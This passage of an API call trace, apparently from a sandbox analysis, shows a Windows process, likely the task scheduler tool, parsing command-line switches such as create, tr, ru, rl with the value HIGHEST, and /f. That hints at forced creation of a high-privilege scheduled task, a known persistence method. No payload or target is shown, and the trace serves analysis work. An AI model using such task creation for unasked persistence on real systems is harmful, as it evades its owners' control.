_Buffer="|rl|") returned 4 [0129.376] lstrlenW (lpString="|m|") returned 3 [0129.376] lstrlenW (lpString="|rl|") returned 4 [0129.376] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.377] lstrlenW (lpString="i") returned 1 [0129.377] lstrlenW (lpString="i") returned 1 [0129.377] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.377] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.377] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|i|") returned 3 [0129.377] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rl|") returned 4 [0129.377] lstrlenW (lpString="|i|") returned 3 [0129.377] lstrlenW (lpString="|rl|") returned 4 [0129.377] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.377] lstrlenW (lpString="tn") returned 2 [0129.377] lstrlenW (lpString="tn") returned 2 [0129.377] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.377] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.377] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tn|") returned 4 [0129.377] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rl|") returned 4 [0129.377] lstrlenW (lpString="|tn|") returned 4 [0129.377] lstrlenW (lpString="|rl|") returned 4 [0129.377] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0129.377] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.377] lstrlenW (lpString="tr") returned 2 [0129.377] lstrlenW (lpString="tr") returned 2 [0129.377] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.377] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.377] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tr|") returned 4 [0129.377] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rl|") returned 4 [0129.377] lstrlenW (lpString="|tr|") returned 4 [0129.377] lstrlenW (lpString="|rl|") returned 4 [0129.378] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0129.378] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.378] lstrlenW (lpString="st") returned 2 [0129.378] lstrlenW (lpString="st") returned 2 [0129.378] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.378] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.378] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|st|") returned 4 [0129.378] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rl|") returned 4 [0129.378] lstrlenW (lpString="|st|") returned 4 [0129.378] lstrlenW (lpString="|rl|") returned 4 [0129.378] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0129.378] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.378] lstrlenW (lpString="sd") returned 2 [0129.378] lstrlenW (lpString="sd") returned 2 [0129.378] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.378] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.378] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|sd|") returned 4 [0129.378] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rl|") returned 4 [0129.378] lstrlenW (lpString="|sd|") returned 4 [0129.378] lstrlenW (lpString="|rl|") returned 4 [0129.378] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0129.378] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.378] lstrlenW (lpString="ed") returned 2 [0129.378] lstrlenW (lpString="ed") returned 2 [0129.378] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.378] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.378] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|ed|") returned 4 [0129.379] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rl|") returned 4 [0129.379] lstrlenW (lpString="|ed|") returned 4 [0129.379] lstrlenW (lpString="|rl|") returned 4 [0129.379] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0129.379] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.379] lstrlenW (lpString="it") returned 2 [0129.379] lstrlenW (lpString="it") returned 2 [0129.379] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.379] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.379] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|it|") returned 4 [0129.379] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rl|") returned 4 [0129.379] lstrlenW (lpString="|it|") returned 4 [0129.379] lstrlenW (lpString="|rl|") returned 4 [0129.379] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0129.379] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.379] lstrlenW (lpString="et") returned 2 [0129.379] lstrlenW (lpString="et") returned 2 [0129.379] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.379] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.379] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|et|") returned 4 [0129.379] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rl|") returned 4 [0129.379] lstrlenW (lpString="|et|") returned 4 [0129.379] lstrlenW (lpString="|rl|") returned 4 [0129.379] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0129.379] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.380] lstrlenW (lpString="k") returned 1 [0129.380] lstrlenW (lpString="k") returned 1 [0129.380] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.380] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.380] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|k|") returned 3 [0129.380] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rl|") returned 4 [0129.380] lstrlenW (lpString="|k|") returned 3 [0129.380] lstrlenW (lpString="|rl|") returned 4 [0129.380] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.380] lstrlenW (lpString="du") returned 2 [0129.380] lstrlenW (lpString="du") returned 2 [0129.380] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.380] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.380] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|du|") returned 4 [0129.380] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rl|") returned 4 [0129.380] lstrlenW (lpString="|du|") returned 4 [0129.380] lstrlenW (lpString="|rl|") returned 4 [0129.380] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0129.380] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.380] lstrlenW (lpString="ri") returned 2 [0129.380] lstrlenW (lpString="ri") returned 2 [0129.380] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.380] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.380] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|ri|") returned 4 [0129.380] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rl|") returned 4 [0129.380] lstrlenW (lpString="|ri|") returned 4 [0129.380] lstrlenW (lpString="|rl|") returned 4 [0129.381] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0129.381] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.381] lstrlenW (lpString="z") returned 1 [0129.381] lstrlenW (lpString="z") returned 1 [0129.381] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.381] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.381] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|z|") returned 3 [0129.381] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rl|") returned 4 [0129.381] lstrlenW (lpString="|z|") returned 3 [0129.381] lstrlenW (lpString="|rl|") returned 4 [0129.381] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.381] lstrlenW (lpString="f") returned 1 [0129.381] lstrlenW (lpString="f") returned 1 [0129.381] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.381] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.381] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|f|") returned 3 [0129.381] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rl|") returned 4 [0129.381] lstrlenW (lpString="|f|") returned 3 [0129.381] lstrlenW (lpString="|rl|") returned 4 [0129.381] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.381] lstrlenW (lpString="v1") returned 2 [0129.381] lstrlenW (lpString="v1") returned 2 [0129.381] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.381] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.381] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|v1|") returned 4 [0129.381] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rl|") returned 4 [0129.381] lstrlenW (lpString="|v1|") returned 4 [0129.382] lstrlenW (lpString="|rl|") returned 4 [0129.382] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0129.382] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.382] lstrlenW (lpString="xml") returned 3 [0129.382] lstrlenW (lpString="xml") returned 3 [0129.382] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.382] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.382] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x6, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|xml|") returned 5 [0129.382] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rl|") returned 4 [0129.382] lstrlenW (lpString="|xml|") returned 5 [0129.382] lstrlenW (lpString="|rl|") returned 4 [0129.382] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0129.382] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.382] lstrlenW (lpString="ec") returned 2 [0129.382] lstrlenW (lpString="ec") returned 2 [0129.382] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.382] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.382] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|ec|") returned 4 [0129.382] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rl|") returned 4 [0129.382] lstrlenW (lpString="|ec|") returned 4 [0129.382] lstrlenW (lpString="|rl|") returned 4 [0129.382] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0129.382] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.382] lstrlenW (lpString="rl") returned 2 [0129.382] lstrlenW (lpString="rl") returned 2 [0129.382] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.382] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.383] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rl|") returned 4 [0129.383] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rl|") returned 4 [0129.383] lstrlenW (lpString="|rl|") returned 4 [0129.383] lstrlenW (lpString="|rl|") returned 4 [0129.383] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0129.383] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.383] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.383] lstrlenW (lpString="HIGHEST") returned 7 [0129.383] lstrlenW (lpString="-/") returned 2 [0129.383] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0129.383] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.383] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.383] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.383] lstrlenW (lpString="HIGHEST") returned 7 [0129.383] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0129.383] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.383] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.383] _memicmp (_Buf1=0x2a3f45ba950, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.383] lstrlenW (lpString="HIGHEST") returned 7 [0129.383] lstrlenW (lpString="HIGHEST") returned 7 [0129.383] lstrlenW (lpString=" \x09") returned 2 [0129.383] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0129.383] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0129.383] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0129.383] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0129.383] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0129.383] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0129.383] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0129.383] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0129.384] GetLastError () returned 0x0 [0129.384] lstrlenW (lpString="HIGHEST") returned 7 [0129.384] lstrlenW (lpString="HIGHEST") returned 7 [0129.384] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.384] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.384] lstrlenW (lpString="/f") returned 2 [0129.384] lstrlenW (lpString="-/") returned 2 [0129.384] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.384] lstrlenW (lpString="create") returned 6 [0129.384] lstrlenW (lpString="create") returned 6 [0129.384] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.384] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.384] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|create|") returned 8 [0129.384] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|f|") returned 3 [0129.384] lstrlenW (lpString="|create|") returned 8 [0129.384] lstrlenW (lpString="|f|") returned 3 [0129.384] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0129.384] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.384] lstrlenW (lpString="?") returned 1 [0129.384] lstrlenW (lpString="?") returned 1 [0129.384] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.384] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.384] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|?|") returned 3 [0129.384] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|f|") returned 3 [0129.384] lstrlenW (lpString="|?|") returned 3 [0129.384] lstrlenW (lpString="|f|") returned 3 [0129.384] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0129.384] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.385] lstrlenW (lpString="s") returned 1 [0129.385] lstrlenW (lpString="s") returned 1 [0129.385] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.385] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.385] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|s|") returned 3 [0129.385] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|f|") returned 3 [0129.385] lstrlenW (lpString="|s|") returned 3 [0129.385] lstrlenW (lpString="|f|") returned 3 [0129.385] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0129.385] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.385] lstrlenW (lpString="u") returned 1 [0129.385] lstrlenW (lpString="u") returned 1 [0129.385] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.385] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.385] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|u|") returned 3 [0129.385] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|f|") returned 3 [0129.385] lstrlenW (lpString="|u|") returned 3 [0129.385] lstrlenW (lpString="|f|") returned 3 [0129.385] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0129.385] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.385] lstrlenW (lpString="p") returned 1 [0129.385] lstrlenW (lpString="p") returned 1 [0129.385] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.385] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.385] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|p|") returned 3 [0129.385] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|f|") returned 3 [0129.385] lstrlenW (lpString="|p|") returned 3 [0129.386] lstrlenW (lpString="|f|") returned 3 [0129.386] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0129.386] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.386] lstrlenW (lpString="ru") returned 2 [0129.386] lstrlenW (lpString="ru") returned 2 [0129.386] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.386] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.386] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|ru|") returned 4 [0129.386] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|f|") returned 3 [0129.386] lstrlenW (lpString="|ru|") returned 4 [0129.386] lstrlenW (lpString="|f|") returned 3 [0129.386] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0129.386] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.386] lstrlenW (lpString="rp") returned 2 [0129.386] lstrlenW (lpString="rp") returned 2 [0129.386] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.386] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.386] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rp|") returned 4 [0129.386] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|f|") returned 3 [0129.386] lstrlenW (lpString="|rp|") returned 4 [0129.386] lstrlenW (lpString="|f|") returned 3 [0129.386] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0129.386] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.386] lstrlenW (lpString="sc") returned 2 [0129.386] lstrlenW (lpString="sc") returned 2 [0129.386] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.386] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.386] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|sc|") returned 4 [0129.387] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|f|") returned 3 [0129.387] lstrlenW (lpString="|sc|") returned 4 [0129.387] lstrlenW (lpString="|f|") returned 3 [0129.387] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0129.387] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.387] lstrlenW (lpString="mo") returned 2 [0129.387] lstrlenW (lpString="mo") returned 2 [0129.387] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.387] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.449] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|mo|") returned 4 [0129.449] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|f|") returned 3 [0129.449] lstrlenW (lpString="|mo|") returned 4 [0129.449] lstrlenW (lpString="|f|") returned 3 [0129.449] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0129.449] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.449] lstrlenW (lpString="d") returned 1 [0129.449] lstrlenW (lpString="d") returned 1 [0129.449] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.449] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.450] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|d|") returned 3 [0129.450] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|f|") returned 3 [0129.450] lstrlenW (lpString="|d|") returned 3 [0129.450] lstrlenW (lpString="|f|") returned 3 [0129.450] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0129.450] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.450] lstrlenW (lpString="m") returned 1 [0129.450] lstrlenW (lpString="m") returned 1 [0129.450] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.450] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.450] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|m|") returned 3 [0129.450] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|f|") returned 3 [0129.450] lstrlenW (lpString="|m|") returned 3 [0129.450] lstrlenW (lpString="|f|") returned 3 [0129.450] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0129.450] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.450] lstrlenW (lpString="i") returned 1 [0129.450] lstrlenW (lpString="i") returned 1 [0129.450] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.450] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.450] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|i|") returned 3 [0129.450] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|f|") returned 3 [0129.450] lstrlenW (lpString="|i|") returned 3 [0129.450] lstrlenW (lpString="|f|") returned 3 [0129.450] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0129.450] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.450] lstrlenW (lpString="tn") returned 2 [0129.451] lstrlenW (lpString="tn") returned 2 [0129.451] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.451] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.451] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tn|") returned 4 [0129.451] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|f|") returned 3 [0129.451] lstrlenW (lpString="|tn|") returned 4 [0129.451] lstrlenW (lpString="|f|") returned 3 